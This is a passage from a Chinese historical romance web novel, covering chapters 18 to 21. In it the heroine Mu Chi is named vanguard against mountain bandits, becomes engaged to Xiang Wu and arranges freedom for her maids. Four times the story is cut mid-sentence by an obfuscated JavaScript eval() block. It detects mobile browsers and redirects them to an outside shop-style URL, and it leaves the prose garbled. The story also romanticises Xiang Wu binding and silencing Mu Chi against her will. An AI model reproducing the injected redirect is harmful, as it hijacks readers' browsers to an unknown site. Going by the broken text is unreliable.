祁江打探中听了许多流言，此刻不信：“怎么这样巧，偏今日就去探亲了，小姐待府上下人都这么好吗？让人说走就走。” 慕池听出他话里的意思，冷哼一声：“探亲的日子自然是一早定下的，难不成为了一封含混不清的信就要耽搁？祁大人未免太把自己当回事儿了。” “我是怕小姐恼羞成怒，加害了她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378366|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 慕池想戴上面具骂脏话。 她深吸了口气：“今日你若见了她能怎么样？要她过去做你的奴婢？” 祁江好像没思考过这个问题，此时呆滞住了。 “或是说你要这丫头去做妾，这也不是什么好归宿吧。” “我要放她自由！”祁江憋出了这么一句。 “然后呢，她一身的本事，扮男装去从军不成？三年前那位状元的事你忘了？或者说你要她庸碌地过完这一生。” 慕池想为青霜争一个未来，如果祁江有些真心。 她话里那位状元就是女扮男装金榜登科，外任时被举报，查出来牵连了一串人，现在不知道流落何方。 慕池知道自己现在说这话的意思，想起数日前曾自持身份不肯答应寻月，不由生出亲疏内外之感。 佛家讲究要无分别心，看来她不能做到。 “你放心，我不会为你伤她。几时想明白了再过来吧，送客。” 祁江无话答对，只能暂且离开。 慕池又钻到厨房忙活，第一份酥酪失败了，碗里进去了太多水汽，牛乳都没凝固。 她向厨娘请教方法，接着尝试。 司衡陪着慕池在厨房玩，一下午的时间做了不少吃食。 馒头的面是发好的，饺子馅是调好的，蒸的鱼是处置过腌好的，慕池还用厨娘配置好的调料炖了鸡汤…… 司衡没敢让她用热油炒菜，连蒸笼上的水汽都时刻提醒防备着，总算没被烫伤。 每一样成品出来，厨娘和司衡轮番夸赞。慕池知道是哄她，却也十分受用。 这天项梧回家后，罕见地在饭桌上同时看到了饺子和馒头。 饺子没有露馅儿的，或者说露馅儿的已经被挑出去了。 馒头里有两个奇形怪状的，一个坑坑洼洼，看不出原本的模样；另一个好些，勉强能根据耳朵和红豆眼睛判断出是只兔子。 “你进厨房了，可曾伤到？怎么突然想做这个？“ 不用慕池说项梧就知道这是她做的。 慕池今天刻意在离他较远的位置坐下：“原就想蒸个酥酪，司衡她们哄着我玩，才多做了些，虽然看着丑，味道还行，你也尝尝。” 慕池试吃过，厨娘调的味道很好，没让她给毁了。 项梧指着看不出模样的馒头：“那个不会是老虎吧。” “蒸之前还像模像样，出来之后就变了。” “哈哈哈哈！” 慕池羞恼：“有什么好笑的！” “你心里想着我，我很开心。只是以后不必做这些，厨房里烟熏火燎，闻了头疼。” 慕池见他不是嘲笑自己的手艺，神色缓和：“近年来轻易不头疼了。” “下午祁江来过？” 项梧一回府就有人汇报了这个消息，他虽然看过那封信，还是不能完全放心。 “来找青霜的，我说人不在家，就打发他回去了。哪天你去他府上一趟吧，他父亲到底是伯父的旧友，还有意帮咱们。” 项梧看她淡淡的，心中暗喜：“此事我记下了。” “另有一事，我想让青霜和司衡脱了奴籍，你意如何？” 18. 葬在桃树下 项梧不动声色：“我知你待她们素来亲厚，她们虽然是奴婢，平时的用度已经不亚于寻常富贵人家的小姐，可是听谁说了什么？” “我生出此念，不是为了她们，而是为了我自己，”慕池突然换了个话题，“朝阳，你觉得我的容貌可称当世之冠吗？” 项梧认真答道：“当然，虽月中姮娥，弗及也。” “你看，世间美人何其多，你又未尝尽睹，就敢下此断论。我虽有些姿色，怎可比月中仙子？可见你是在哄我。” 项梧知道她话中的典故：“你是不想让她们怕你。” 慕池颇为欣慰：“正是如此，朝阳，她们以真心待我，却一直遭受着怀疑，我心怎安？君子畏德不畏威，何必再用身契辖制？我想认她们为妹妹。” 道理确实是这样，但这样的举动还是有些惊世骇俗。状元郎被书童卷跑行李的事儿就是前车之鉴，但司衡和青霜总归不会做出这样的事。 慕池说完后就看着他，等待着他的答复。 “好吧，我听你的。只是怕姐姐往后认了越来越多的妹妹，再不把我放在眼里了。” 慕池想起他昨晚说的“嫉妒”的话，赶忙安慰：“是不放在眼里，得放在心上，我最小气的……朝阳妹妹～” 项梧委屈屈：“你欺负我。” 慕池一时得意：“不可以吗？” 项梧轻哼了声表示不满，向她的位置挪了挪：“才刚你问我，现在我问你，你觉得我的容貌如何？” 慕池不依他：“夸赞你还没听够吗？还要听我假醋酸文一回？” “什么假醋酸文，我刚才说的全部是真情真意！” 慕池觉得不回答说不过去，遂细细端详起来。两人平时虽说分外熟悉，慕池却还没有这样仔细看过他。 “昳丽非常，世间无二。” 第二天早上，慕池收到了一盘惟妙惟肖的老虎馒头，是项梧亲自做的。 模样比她做的那个好了不知多少，慕池能接受他的嘲笑了。 把项梧同意的消息告诉司衡，她这才肯接受慕池的好意，只说先等到青霜回来，她再找一人顶了自己的位置才肯走。 慕池入长乐宫谢恩，被告知了一个消息。 “今日早朝，本宫被言官参了一本，说是封你为官太过儿戏。” 公主露出苦恼的神情，看向她。 慕池跪地请罪：“此为民女之过。” 她猜测公主有可能会收回封赏，多少有些失落。 这几日的欣喜就当是黄粱一梦吧。 “你这是做什么，以为本宫要收回旨意吗？那不就真成儿戏了？快起来。” 慕池被吓了一回，心态平稳许多，纵使“失而复得”，也没有多少喜悦。 “房州有伙儿山匪，多次和朝廷作对，冒犯天威，父皇决意派兵征剿，任命你为先锋，你可敢杀贼？” “臣愿立功报效皇上、公主！”慕池再拜。 “今日圣旨就会到忠勇侯府上，将军若能英勇杀敌，本宫必不辜负。” “此身微贱，唯死而已，不敢令公主蒙羞。” 慕池出了紫禁城才敢放松下来。 天潢贵胄里，她还见过太后和楚王，但无论是哪一个，都不曾有这样的压迫感，难以想象公主殿下年仅十三。 慕池十三岁时，还和项梧一起住在忠武侯府上，因为不懂京城里的规矩，被姐妹们嘲笑粗野，那时候她行为举止莫不战战兢兢，同年搬到忠勇侯府才好了些。 慕池了解过，公主府副典军的职责主要是护卫公主出行，并不管领军作战。现在虽已设公主府，但公主常居深宫，此职少有事务。 剿匪先锋官意味着能亲自领兵作战，这正是她数年来梦寐以求的机会。 中午项梧赶回家，他也知道了这个消息。 “房州山匪凶残至极，朝廷征剿过几次皆损兵折将，这分明是朝中奸贼要害你！” 慕池觉得他关心则乱：“我已非稚子，当年就不曾害怕，何况现在？” 回京路上截杀的那伙儿人被她纵马引开，一路上她射落三人，挑下两人，才被逼下山崖。 “他们不是比武台上那些酒囊饭袋，有不少人曾经都是朝廷武官。”项梧怕她轻敌。 “背弃天恩，就更该被剿灭。” “你决意要去？” “错过了这个机会，还不知要等多久。” 项梧坐下，沉声道：“那我辞官随你同去。” “为什么？” 项梧武功不比她好，又不能保护她。 “你死了我马上就能跟你走。” “我是去立功，又不是去送死。” 项梧锤了桌子一下，把茶杯震响：“你是铁石心肠吧，难道换做是我，你就不担心吗？” “你别着急，怎么样能让你放心，你告诉我。” 项梧知道她多年来的愿望，当然不愿阻止，不过她第一次作战就面对强敌，还铆足了劲儿立功，不免让他担忧。 “第一条，答应我不许死，你若死了我绝不独活，”项梧咬牙做最坏的打算，“除非为贼所擒，受他们折磨。” 慕池忍住了劝他的话：“好，我答应。” “第二条，三日内至少传回来一封信，每封信不少于八百字，我也会给你回信。” “哪有那么多话要说。” 慕池被项梧瞪了一眼。 “我答应。” “第三，大军启程之前我们定亲。不许拒绝，你死了，我们好合葬。” 慕池看到他眼中的泪意，也应了这一条。 项梧絮絮叨叨嘱咐：“还有其他的，等我想起来再补上。也把青霜带去吧，她能保护你。我会给你准备好盔甲。此次主帅是镇国大将军祁大人，就是祁江的父亲，祁江也是先锋，除了军务不要和他说话……” 慕池被他紧张的情绪感染：“万一，我是说万一有那么一天，我想被葬在桃树下。” 她还记得那天桃花宴上，众姐妹说说笑笑，是何等欢快恣意。 “我才不。” 慕池知道他答应了。 “府上别用肉刑了，好吗？” 项梧不满：“你应该先想到我。” “对了，司衡也要离开，府上没个细心的人，你得照顾好自己。” “收到你的信，我就能安心了。” 慕池犹豫了好久，终于问出口：“你的伤，怎么样了？” “现在想起来，就有些疼了。” “我看看手上。” 项梧摊开掌心，把手递过去。 慕池下意识去拉他，想到那晚的事又收回。 他掌心上面有两道清晰的划痕，深的地方甚至划破血肉。 “你好狠的心。” 项梧看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378367|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她：“分明是你狠心。” 慕池错开视线。 “大军还有多长时间启程？” “不足一月。” 领了圣旨当天，慕池去祁府拜访主帅。 她抱拳欠身：“祁元帅，先锋慕池前来听命。” 祁元帅很慈祥：“贤侄，多年未见，你还记得祁伯伯吗？” 祁元帅和祁江简直就是一个模子里刻出来的，慕池心生好感，却实在没有印象，据实回答：“我不记得您。” “那我说另一个人，你一定记得——冯道英！” “冯叔叔教我剑法，您怎么知道他？” 冯道英是项伯伯的家将，项梧跟他学过几年剑法，慕池时常偷看。 可惜他当年也战死了。 “他救过我一回，我也是因此跟你们府上熟起来。他告诉我你是个剑术天才，是他教过的天赋最好的弟子。” 慕池没想到冯叔叔会这么评价他，明明自己只是偷看，偶尔被逮到了他会指点两招，竟然肯认为弟子吗？想起往事不免伤感。 “其实当年我还为你跟我儿说过亲，你见过那孩子，觉得江儿怎么样？”祁元帅捻捻胡子。 “爹！”祁江从外面进来，大声喝止了这个话题。 另有一英姿飒爽的裤装妇人走在他前面。 “这是我夫人和江儿。”祁元帅向她介绍。 “见过韩将军。”慕池向她施礼。 夫人一怔，往日随军，底下兵士都叫她祁夫人，这么多年都习惯了。 “慕将军，你认识我？”夫人回敬她。 “韩将军作战勇猛，当年驰援寒江关，阵前连斩北狄数员大将，吓退北狄二百里。彼时我尚为孩童，曾闻得将军威名，多年来更是以将军为榜样。” 慕池原来就是打算和夫人走一样的路，不过会比她心狠些。 “哈哈哈哈！”夫人爆发出爽朗的笑声，“多年过去，不想这桩旧事竟还有人记得。” 夫人知道，当年寒江关她挂的是“祁”字旗，即便传开名声，大家都喊她祁夫人，难得慕池翻出她本姓来。 祁江不服气：“娘，我也记得这件事。” “去去去。”夫人推开他，请慕池坐下。 夫人与慕池都曾在北疆生活数年，谈起风土人物颇为投契，二人相谈甚欢，夫人还留下她吃饭。 她愿意听夫人讲些作战经验和军营趣事，因此并不推辞，只让人回府告诉项梧一声。 席间夫人喝醉了酒，揽着慕池道：“我若有另一个好儿子，定把他许给你，这个模样虽壮，内里是个傻的，他不配！” 回家晚了些，项梧等在她屋里表示自己很生气，她好言好语哄了一阵，保证只是和夫人说话，又确认了定亲的日子，他才作罢。 这两天夫人还带她去校场，把她介绍给诸位将军。 虽有公主的认可、皇上的任命，众将官见她年轻，又是个姑娘，难免不服，少不得带着旧伤比试几场。 青霜走了三日，果然在第四天回来。 她带来了她姐姐，本名陈雁，这姑娘看上去瘦骨伶仃，比青霜矮了一头，两人站在一起，陈雁倒像妹妹。 不知是不是车马劳顿，青霜和陈雁神色都不太好，慕池让她们先去安置。 慕池知道司衡和青霜关系好，有不便对她说的不会瞒着司衡，于是就让司衡去打探消息。 19. 身世浮沉 “哎，提起这事，姐俩又抱着哭了一场。” 慕池着急：“她告诉你不曾？” “都告诉我了，”司衡又叹气，“这样的人也配当爹！” 慕池猜到是她家里出了状况，可她把最亲的姐姐都好好带回来了，还能有什么大事呢？ “她走前说姐姐的赎金是七十两，自己这两年寄回家去的有五十几两，我料她家里肯定有花销，硬支给她五十两，又自己拿了二十两送她。” “她原打算回到家和爹娘一起赎人，远远看到自家茅草屋变成了青瓦房，便留了个心眼，不说自己带银子回来，只问家里还剩多少。主屋里出来个怀孕的妇人，正是她爹新娶的后娘。” “家中小妹悄悄告诉，半年前她爹赌博输了钱，回来把娘打伤，自此之后娘就卧病在床，她爹还不准找大夫，没一个月人就去了。” “最近咱们家里有几桩喜事，青霜又把得的赏钱托人送回家，她爹拿了这钱，马不停蹄盖了新房、娶了新妇。” “小妹还告诉她，大姐的赎身钱根本没那么多，都是爹娘两下里欺骗她们姐妹钱财编出来的话，那边还哄着大姐说要先赎青霜，可家里的钱他们根本没攒着。” “青霜到那边府上一问，赎金只要二十两，就先接了姐姐回来。姐妹俩正想着怎么把小妹也救出来，他爹若知道她有钱，怕是会漫天要价。青霜还想去告她爹杀妻的事，被我给拦下了。” 慕池听完了整件事，感慨颇多。 她这些年不缺银子使用，和项梧关系又好，不知道一家人之间可以为着几十两银子互相欺骗，甚至里面还有赌气杀妻的事。 慕池：“我们把她小妹买过来怎么样？好让她们团聚。” “我就知道你愿意帮忙。我也是这个意思，只叫个面生的人过去，说远远卖到外地，给的价略高些，想他爹就会放手了，将来也不必纠缠。” “就这样办。” “她要告亲爹的事，还得从长计议，一来手上没证据，二来又是状告长辈，恐怕会吃点苦头。别的法子多得是，不至于搭上自己。” 慕池百思不得其解：“青霜遇上难事，怎么不愿意告诉我，明明我可以帮她。” 司衡笑笑：“平时玩笑着偶尔会没规矩，可我们都知道自己的身份。” 司衡这句话让慕池觉得自己可能错估了她们之间的感情，她有些难过。 难道她感受到的种种温暖，也都是所谓的“主仆之谊”吗？ “你是侯爷的人。” 司衡神色不自然，都这个时候了，也没必要狡辩。反正小姐善良得过分。 “你会把我的事告诉他。” 但慕池这些年并未多心，她只以为这是弟弟的关爱，直到那天他坦白心意…… “你会为他说话，为他着想，甚至在某些地方，比我更了解他。” 当初她试图给项梧找贴身丫鬟时，司衡好似早知道内情，让她问问项梧。 “我说要放你，你要我和他商量这事儿。为什么要刻意提出来呢？你该知道我有这个权力。” 这是她最大的破绽。 司衡被她一步步揭穿，并不惊慌，反而神色坦然地跪地：“奴婢不忠，请小姐责罚。“ 她跪地自称“奴婢”，反而让慕池觉得自己卑劣。 慕池一气之下跪在她对面。 司衡被惊到：“你……” “我的膝盖并不金贵。你知道我不是要责罚你，我们在一起时间最长，为什么和我离心？” 司衡是来到忠勇侯府后她的第一个丫鬟，慕池有任何事都对她讲。 司衡动容，尝试剖白自己的内心：“我是罪臣之女，侯爷知道。” 慕池第一次听说她这个身份。 现在想来似乎有迹可循，一进府就知书识礼、进退有度，原来是凤凰落难。 司衡愧疚，看着地面：“幼时我会不忿，你一个孤女，怎么命这样好，被先侯爷收容，小侯爷还对你百依百顺。” 慕池想到她当时遭逢巨变，千金小姐沦落为奴，自然事事伤感。 “我问侯爷为何买下我，他说不需要我做什么，只要我哄你开心。” 那段时间，慕池在为忠武侯府姐妹不喜欢自己苦恼。 司衡自嘲一笑：“他怕我娇气，还特意让人教了我做奴才的规矩。” “当然，规矩里面就包括不许和主子说这些。” 慕池无话安慰，司衡确实当了这些年的奴才。 “你不用这副表情，又不是你的错。” “后来你越来越信任我，侯爷就让我把知道的事都告诉他。刚开始我以为只是关心，没想到他……你应该也知道了。” 慕池：“嗯。” “而你的心和他不一样。” 慕池不想在这个话题上纠缠：“令尊当年犯了什么事？” “证据确凿，当街斩首的大罪，”司衡说得云淡风轻，“家人们死的死、散的散，别的亲戚，既然不来找我，我又何必找他们？你不必挂心。” “那你的本名呢？” “已经忘记了，司衡就很好听，我以后还会用这个名字。” “官署那边还要多久？” 慕池问的是放良的事。 “我们肯定比你更着急，快起来吧，我腿都麻了。来到家里，我还是第一次跪这么久。” 两人互相搀扶着起身。 “你先自己待会儿，有什么事叫屋外的双星。我去跟青霜商量，把事情安排下去。” 司衡没想到自己会坦白这么多，这时候离开也有逃跑的意味。 慕池扭头去盘自己的私库，里面有趣的玩意儿都是项梧找来送她的，值钱的无非是几件大氅和钗环首饰，最贵重的要属那尊鱼篮观音。 慕池把那些不常戴的首饰挑拣出来另放别处。 只可惜了那上好的白玉，即便是毁了模样流通出去，也会被人发现，只能在她的私库里积灰。 青霜急匆匆过来，支走了旁边的丫鬟。 慕池以为她要说自己家里的事，谁料她张口就是：“小姐，你被逼婚了？！” “这三天发生什么了，怎么我一回来，你就要和侯爷定亲了？小姐，他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378368|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是威胁你？你告诉我，我不怕他。” 可怜青霜还红着眼睛，又来操心她的事。 内情就这样被她猜中。 话虽如此，慕池渐渐摸不准自己的心，若果真清清白白，为何会在他金榜登科那一晚…… 青霜见她不答话，愈发笃定她被威胁，在她耳边低声道：“小姐，你先假意逢迎他，等到他看管松懈，我护着你跑走。” 慕池捏捏她的脸：“这是我与他商量好的。你关心我，就不知道我对你也有这片心？在我面前装得没事，自己回去又哭起来。” “真的？” “真的，皇上任命我为先锋，此次剿匪倘若身死，我无父无母，总得有个人立墓碑。” 青霜应该还不知道这件事。 “那我冤枉侯爷了。小姐才挣了个官儿当，转天又被人送上战场，反不如往日闺阁里安闲。小姐也带我去吧，只要我还有一口气，绝对让小姐活着回来。” ”好，我们同去。”慕池以为把全部希望押在祁江身上并不保险，青霜有本事，她也想找个机会为她搭台。 祁江那边还是没想清楚，慕池想了想，决定不对她提此事。 “小姐，我是来谢你的，你本来不必管这种事，为了我又惹上麻烦。我把姐姐接过来，两边都断了他的钱，他肯定会上门来找……” “这里大小也是个侯府，岂会怕他？你放宽心。你不是还有个弟弟，可要一起带过来？” “呸！提起他我就生气，”青霜像个被点燃的炮仗，“那么大个人，当时也不知道拦一拦，跟着老子一起赌钱吃酒，他娘生前还最偏疼他。就让他和他老子在一起，总归那个家里卖了谁都不会卖了他！” “既如此，咱们不说他了，你家小妹几岁了呀？” “她今年十三了，我若不说，你看见她定然以为她还不满十岁，亲娘走了后，她在家里的境况就更差了。” “日后都会好起来，你直接吩咐下去给你姐姐和小妹做几件衣服，你姐姐一应用度和府上请的先生一样，小妹就先按二等丫鬟的来，你看怎么样？” 青霜推辞：“小妹年纪尚小，什么都不会，来府上至多做个粗使丫头，小姐过于抬爱了。” “我听了她的事迹，喜欢这样的性格。” “她一个小丫头片子刚来就是二等丫鬟，府上其他人背地里肯定有三言两语，对她也不好。再者说咱们府上即便是三等丫鬟，也比外面好的多，小姐就听我一回吧。” 慕池见她考虑周全，只得作罢。 本来要问问小妹喜欢什么，想到青霜也是离家多年，未必能知，慕池就自己定了个见面礼。 这几天听得楚王后院有人怀孕了，被抬为侧妃，闹得沸沸扬扬，为此还遣散了楚王府一大批姬妾，宫里也派人照看，赏赐了不少东西，宝贝得不得了。 毕竟当今陛下唯有一女，楚王这回若是得个儿子，皇室才真称得上是后继有人。 齐王、燕王那儿虽有儿子，可他们业已成年，究竟远了一层。 忠勇侯府上，赵齐风和李质真竟然在同一天来了。 20. 缚虎 赵齐风口上说着和李质真不对付，私下里见到她，倒没多少锋锐。 今儿天气不错，她们在花园亭子里会面。 “你们府上这就开始准备起来了？” 李质真一路走来看到丫鬟们在用彩灯、绸带装饰，以为是在欢送慕池出征。 “也有这个意思，主要是因为我和侯爷定亲。” 慕池不打算遮掩这件事，特别是对她们二人。 赵齐风呛了口茶：“咳咳，你们？这时候？他要给你冲喜吗？” 慕池：“他可怜我没个家人，一旦出了意外，他会为我收尸。” 赵齐风：“仔细看来你们也是一对璧人，比武台上那些都比不过他。” “你的定亲礼我改日再送，不说这个了，今天我来一是给你道喜，二是送个平安符，我去万佛寺求来的，此去凶险，千万小心。” 赵齐风把平安符递给她，是一个涂了朱砂的桃木牌，上刻莲花图样并佛号。 慕池已有一个，是五年前项梧为她求来的。 现在又有一个关心她的人了。 “谢谢你。” “我也有礼物要送你。” 李质真身后的丫鬟展开了一面旗。 猩红锦缎为底，青黑滚边，上用金线绣了斗大的“慕”字，旁边伴着虎纹，在阳光下熠熠生辉。 慕池捧着，爱不释手：“这也太贵重了。” “我和丫头们一起绣的，你别嫌弃就行。” “你们的礼物我都很喜欢，我回来定到你们府上拜谢。” 李质真：“东溟，我好羡慕你。” 赵齐风不解，她不认为这个先锋官是好当的：“名冠京城的第一才女，反羡慕起别人来？” 慕池觉得李质真这话出自真心，一是认真拜读过她的诗作，二是她此次送的战旗。 “我？不过想走终南捷径罢了，现在看到东溟飞黄腾达，而自己仍在困顿，难免发些牢骚，你何必说我。” 赵齐风有些愧疚：“我是觉得你太妄自菲薄了，你现在还不好吗，有家世，有名声。” “这些对我来说有什么用？嫁个好人家吗？还不如做个平民男子，即便考不中科举，也能拿几篇诗文四处干谒。” 赵齐风：“这话就得是你说出来，换成我可没有这样的魄力，文不成武不就的，我可能比现在要辛苦得多。” 慕池试图驱散一些她的苦闷：“咱们的路还长，质真，你将来未必不能如愿。” 不知哪里刺激到她，李质真忽然掩面垂泪。 她努力平复情绪，擦去泪痕：“让你们见笑了。” “东溟，有句话很冒昧，你喜欢小侯爷吗？我不是问他在别人眼里是否优秀，而是在问你是否喜欢他。” 很多时候，这两者是交融的，因为某个人在世俗的各项评价标准里都名列前茅，所以他会得到很多人的称赞和喜爱，个人的情感也容易被大众的喜爱裹挟，懵懵懂懂交出自己的感情。 但李质真独有一套标准，这个标准在某些地方过于严苛，某些地方又太过无底线，以至于不可言说。她意识到自己快要坚持不住了，也许在不久的将来她会投降，然后用大众的喜爱麻痹自己。 李夫人就经常十分困惑地发问：他模样、家世、才学都不错，你为什么不满意？ 真是多亏了楚王爷的那位侧妃，让太后娘娘暂时歇了给楚王选妃的心思，连带着她也能喘口气，不过母亲那边总不缺能激怒她的话就是了。 “对不起，我还不知道答案。” 慕池从来没用挑选夫婿的眼光看过项梧，现在也不想这么看他。 “这也意味着你没有不喜欢他。而我太过挑剔，会讨厌很多人，又多了点刚烈，将来……我不知自己有没有将来。” 李质真说得伤感，三人一时无话。 赵齐风难得看到她这一面，平日里诗会上她出尽风头，哪里想到她还会这般落寞。 慕池和赵齐风就是有心帮她，也不知该从何帮起。 “倒因为我，你们都不开心了，我不过是在家里面受了闲气，出来胡言乱语罢了，说话间这股劲儿就过去，我忘性很大。” 慕池：“那天聊起来，我说我想被葬在桃花树下，质真，你呢？” “什么？”赵齐风被惊到，这种不吉利的话在她家里是断不能说出口的。 “让我想想……”李质真一点不觉得冒犯，她支着脑袋，竟然开始认真思考这个问题。 “不是，你们这么年轻，说什么死呀活呀的？” 李质真兴致昂扬、眉飞色舞：“我想到了！我要被烧成灰，飞扬在天地之间。不用人为我修坟，我想谁了自会去看她。我要和风一起游遍世间名山大川，等腻味了找个清净的地方，无人无鬼，或者再‘死’一次，直到彻底消亡。” 赵齐风：“真是胡闹！” 李质真：“你才是，怎么像个老夫人一样说出这种话？我以为你大胆放肆，原来心里藏着这么多规矩。” 赵齐风从来不愿意接受分离：“你就没什么牵挂的吗？东溟是无可奈何，不得不去想后事，你怎么说得这么轻易？你不是还羡慕她？你有想做的事吧。” “到那时，就不必汲汲营营了，”李质真看向慕池，“及吾无身，吾有何患？” 慕池：“可惜我身上还背负着一些仇恨，一些现在诲提的仇恨。” 赵齐风不明白她在可惜什么，她听不懂这个话题。 李质真看吓到了她：“我们不过是浑说几句，哪里就真有这个心？你不必当真。” 李质真和慕东溟都冲着她笑，这笑让她更加害怕。 “总之你们不许离开！李质真，你要是走了咱们的诗会怎么办？慕东溟，你可是南华现在唯一挂着自己旗号的女将领。我们都在看着你们呢，大家都要好好的，千万坚持下去。” 三人换了个轻松的话题，聊了聊胭脂水粉和糕点铺子，兴尽而散。 “小姐，这次、包括以后，我不会再告诉侯爷你说过什么了。” 司衡今天一直跟在慕池身边，听着她们三个的聊天内容。 慕池都忘了这么回事了，她不由得好奇，今天乱七八糟聊了那么多，司衡要是告诉侯爷，也东一句西一句不成？ “往日他主要听什么？” “只要是关于小姐的，事无巨细，侯爷都想听。如果是今天的内容，侯爷最在意的怕是小姐的那一句——‘我还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378369|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道答案’。”司衡坏笑。 慕池想起了前言后语，央告司衡：“千万瞒住这句话。” 项梧若拿这句话质问她，她不知道该怎么答对。 这不是暴露了自己是在哄他吗？他一定会生气。 好容易这两天安静了些，行为也没有逾矩，慕池不想再经历一次那夜枕云轩发生的事。 “你放心，我很讲信用的。李小姐送的这面旗要带出去吗？” “它太漂亮了，我不舍得风吹日晒，直接挂在我屋子里吧，每天看见它，我会很开心。” 后面乐陵县主和其他小姐们都送来贺礼，有一套马具和各色有吉祥寓意的礼物，慕池把能用的用上，不能用或不舍得用的珍藏起来。 项梧看到她房里挂了一面显眼的旗和几样新的饰品，心中吃味。 为尽力表现得大度些，他不说出来，只拿出自己做的抹额给她系上试试。 慕池看出他眼神不对劲，努力顺毛：“好看极了，朝阳真是心灵手巧，我正需要这个。” “我多做了几条，你离开家后要日日戴着，好叫他们知道你名花有主。” 项梧在每一条上面都绣了“朝阳”二字。 “嗯，我会的。” 自那夜后，慕池莫名怕他。 她主动搭话：“今天在翰林院都做了什么？可有趣事？” “苏修撰好像开始蓄须了，有些邋遢。”项梧说这种话从来不脸红。 慕池想象了一下满脸胡茬的画面：“好像是不太好看。“ “我听说有人在校场跟人比武连胜七场，不知道谁这么厉害。”项梧阴阳怪气。 “只是切磋切磋，我相信那人不是故意的。” “想是她身上的伤正在长，浑身痒痒。” 慕池自暴自弃：“可能是吧。“ 项梧气急，攥住她的手腕，抽出一根抹额绑起来。 一切发生得太快，慕池反应过来时两只手已经被绑在身前。 “你敢绑我？！！” 他还没有停手，站起身到她面前，用腿钳住她的双腿，往膝盖处绑绳。 她手上推他，双腿也在挣扎，反而离开凳子倒在地下。 膝盖处的绳子绑好了。 项梧又抓住她的脚踝…… 慕池死活解不开手上的束缚。 “我知道你研究过绳结，这是我特意设计的，即便是你，一时半会儿也解不开。”项梧压在她的腿上。 “青——”刚喊了一半，慕池被捂住嘴。 项梧威胁：“嘘，别让我赶走她。” 项梧仔细检查了她身上，取出了三个利器。 他见慕池还没有放弃，又加固了几处。 慕池瞪他：“你想干什么？” 项梧扶起倒地的凳子，抱起她坐到自己腿上：“我怕床上不知哪儿就有个兵刃，你且忍忍吧。” 被他猜中了，慕池气得肘击他。 项梧撒娇：“很疼的。” 慕池真因为这句话停顿了，她暗骂自己一句，计上心来。 她学着项梧的语气，把声音放柔：“你绑得太紧了，我的手脚也很疼的，刚才还摔倒了，碰到了旧伤……” 21. 赠金锁 项梧低笑两声。 慕池知道这是他的嘲笑，马上掉脸。 “刚才是跌落在地，摔到这了吗？还是这儿？”项梧的手不老实。 “别乱碰！” “小声点，你这个样子，怎么好让人看见。你说碰到了旧伤，这可是件大事，快让我检查检查……”项梧作势要解她衣领。 慕池拿头撞他。 “你小时候和人打架，为了比试谁更狠，也会用头撞人。”项梧收回手，为她整理额前散落的发丝。 “哼，我就是这么个野人。” 项梧用手指探进腕上的绑绳：“是太紧了，我给你揉揉。” “你到底想干什么？” “你自己想，说对了我就放开。” 慕池想到他生气前的最后一句话。 “我知道错了，不该带伤和他们比武。” 项梧语速放慢，满是惩戒的味道：“次次都认错，次次不改错，你让我怎么相信？” 慕池觉得他好奇怪，想蹦跶着离开。 “又要逃跑，你、不、乖。” “项朝阳，我才是姐姐！” 项梧盯着她的朱唇：“可你不许我喊‘姐姐’了。” 慕池赌气不说话。 项梧搂着她，也不说话，似乎这样就满足了。 慕池如坐针毡，趁他不注意偷偷伸手去解膝盖上的绳子，被他发现给拦回来。 “小时候姐姐哄我睡觉，现在换我来哄你。” 项梧嗓音清朗，低吟浅唱：“欢娱事，欢娱事，两心自忖；生离苦，生离苦，且将恨忍。结成眉峰一寸，香沾翠被池，重重束紧，药裹巾箱，都带泪痕。” 慕池听懂了，他是怕自己上战场后不爱惜身体，再回不来。 “这招只能用一次，就让我再困你一会儿吧。” 慕池让步：“信件字数加到一千。” “好。” 慕池：？？？ “好”是什么意思？也不说给我放开。 幸而那晚项梧只是抱抱她，什么都没做。 小妹到了，青霜给她洗澡、换了衣裳才带来见慕池。 